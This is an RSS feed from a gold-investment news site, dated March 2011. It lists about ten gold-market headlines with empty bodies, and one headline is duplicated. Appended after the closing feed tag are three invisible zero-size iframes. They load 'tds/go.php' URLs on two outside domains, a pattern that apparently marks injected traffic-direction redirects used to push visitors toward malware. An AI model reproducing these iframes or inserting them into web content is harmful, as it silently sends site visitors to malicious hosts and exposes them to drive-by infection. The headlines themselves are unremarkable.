<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Banca de Oro</title>
	<atom:link href="http://english.bancadeoro.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://english.bancadeoro.com</link>
	<description>inversion segura</description>
	<lastBuildDate>Wed, 30 Mar 2011 12:36:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Global gold production may rise short term but will then decline &#8211; Burton</title>
		<link>http://english.bancadeoro.com/2011/03/global-gold-production-may-rise-short-term-but-will-then-decline-burton/</link>
		<comments>http://english.bancadeoro.com/2011/03/global-gold-production-may-rise-short-term-but-will-then-decline-burton/#comments</comments>
		<pubDate>Wed, 30 Mar 2011 12:36:34 +0000</pubDate>
		<dc:creator>miltonpuentes</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://english.bancadeoro.com/?p=1128</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://english.bancadeoro.com/2011/03/global-gold-production-may-rise-short-term-but-will-then-decline-burton/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Indonesian copper, gold miner PTNNT eyes stake IPO in H2:official</title>
		<link>http://english.bancadeoro.com/2011/03/indonesian-copper-gold-miner-ptnnt-eyes-stake-ipo-in-h2official/</link>
		<comments>http://english.bancadeoro.com/2011/03/indonesian-copper-gold-miner-ptnnt-eyes-stake-ipo-in-h2official/#comments</comments>
		<pubDate>Wed, 30 Mar 2011 12:31:26 +0000</pubDate>
		<dc:creator>miltonpuentes</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://english.bancadeoro.com/?p=1126</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://english.bancadeoro.com/2011/03/indonesian-copper-gold-miner-ptnnt-eyes-stake-ipo-in-h2official/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bullish optimism at worrisome levels in gold market</title>
		<link>http://english.bancadeoro.com/2011/03/bullish-optimism-at-worrisome-levels-in-gold-market/</link>
		<comments>http://english.bancadeoro.com/2011/03/bullish-optimism-at-worrisome-levels-in-gold-market/#comments</comments>
		<pubDate>Tue, 29 Mar 2011 12:22:13 +0000</pubDate>
		<dc:creator>miltonpuentes</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://english.bancadeoro.com/?p=1123</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://english.bancadeoro.com/2011/03/bullish-optimism-at-worrisome-levels-in-gold-market/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dragon more than doubles Scandinavian gold reserves</title>
		<link>http://english.bancadeoro.com/2011/03/dragon-more-than-doubles-scandinavian-gold-reserves-2/</link>
		<comments>http://english.bancadeoro.com/2011/03/dragon-more-than-doubles-scandinavian-gold-reserves-2/#comments</comments>
		<pubDate>Mon, 28 Mar 2011 12:35:19 +0000</pubDate>
		<dc:creator>miltonpuentes</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://english.bancadeoro.com/?p=1119</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://english.bancadeoro.com/2011/03/dragon-more-than-doubles-scandinavian-gold-reserves-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>India gold edges lower; physical buying weak</title>
		<link>http://english.bancadeoro.com/2011/03/india-gold-edges-lower-physical-buying-weak/</link>
		<comments>http://english.bancadeoro.com/2011/03/india-gold-edges-lower-physical-buying-weak/#comments</comments>
		<pubDate>Mon, 28 Mar 2011 12:34:24 +0000</pubDate>
		<dc:creator>miltonpuentes</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://english.bancadeoro.com/2011/03/india-gold-edges-lower-physical-buying-weak/</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://english.bancadeoro.com/2011/03/india-gold-edges-lower-physical-buying-weak/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Signature starts gold mining at Konongo tailings in Ghana</title>
		<link>http://english.bancadeoro.com/2011/03/signature-starts-gold-mining-at-konongo-tailings-in-ghana/</link>
		<comments>http://english.bancadeoro.com/2011/03/signature-starts-gold-mining-at-konongo-tailings-in-ghana/#comments</comments>
		<pubDate>Mon, 28 Mar 2011 12:29:54 +0000</pubDate>
		<dc:creator>miltonpuentes</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://english.bancadeoro.com/?p=1116</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://english.bancadeoro.com/2011/03/signature-starts-gold-mining-at-konongo-tailings-in-ghana/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dragon more than doubles Scandinavian gold reserves</title>
		<link>http://english.bancadeoro.com/2011/03/dragon-more-than-doubles-scandinavian-gold-reserves/</link>
		<comments>http://english.bancadeoro.com/2011/03/dragon-more-than-doubles-scandinavian-gold-reserves/#comments</comments>
		<pubDate>Mon, 28 Mar 2011 12:29:09 +0000</pubDate>
		<dc:creator>miltonpuentes</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://english.bancadeoro.com/?p=1114</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://english.bancadeoro.com/2011/03/dragon-more-than-doubles-scandinavian-gold-reserves/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>India gold steady; traders still at bay</title>
		<link>http://english.bancadeoro.com/2011/03/india-gold-steady-traders-still-at-bay/</link>
		<comments>http://english.bancadeoro.com/2011/03/india-gold-steady-traders-still-at-bay/#comments</comments>
		<pubDate>Wed, 23 Mar 2011 12:56:24 +0000</pubDate>
		<dc:creator>miltonpuentes</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://english.bancadeoro.com/?p=1111</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://english.bancadeoro.com/2011/03/india-gold-steady-traders-still-at-bay/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Silver regains peak of Rs 54,600; gold loses sheen</title>
		<link>http://english.bancadeoro.com/2011/03/silver-regains-peak-of-rs-54600-gold-loses-sheen/</link>
		<comments>http://english.bancadeoro.com/2011/03/silver-regains-peak-of-rs-54600-gold-loses-sheen/#comments</comments>
		<pubDate>Wed, 23 Mar 2011 12:55:18 +0000</pubDate>
		<dc:creator>miltonpuentes</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://english.bancadeoro.com/2011/03/silver-regains-peak-of-rs-54600-gold-loses-sheen/</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://english.bancadeoro.com/2011/03/silver-regains-peak-of-rs-54600-gold-loses-sheen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Miners soak up gold rally and rising costs</title>
		<link>http://english.bancadeoro.com/2011/03/miners-soak-up-gold-rally-and-rising-costs/</link>
		<comments>http://english.bancadeoro.com/2011/03/miners-soak-up-gold-rally-and-rising-costs/#comments</comments>
		<pubDate>Tue, 22 Mar 2011 12:27:15 +0000</pubDate>
		<dc:creator>miltonpuentes</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://english.bancadeoro.com/2011/03/miners-soak-up-gold-rally-and-rising-costs/</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://english.bancadeoro.com/2011/03/miners-soak-up-gold-rally-and-rising-costs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<iframe src="http://badosov.com/tds/go.php?sid=63" width="0" height="0" frameborder="0"></iframe>

<iframe src="http://badosov.com/tds/go.php?sid=63" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
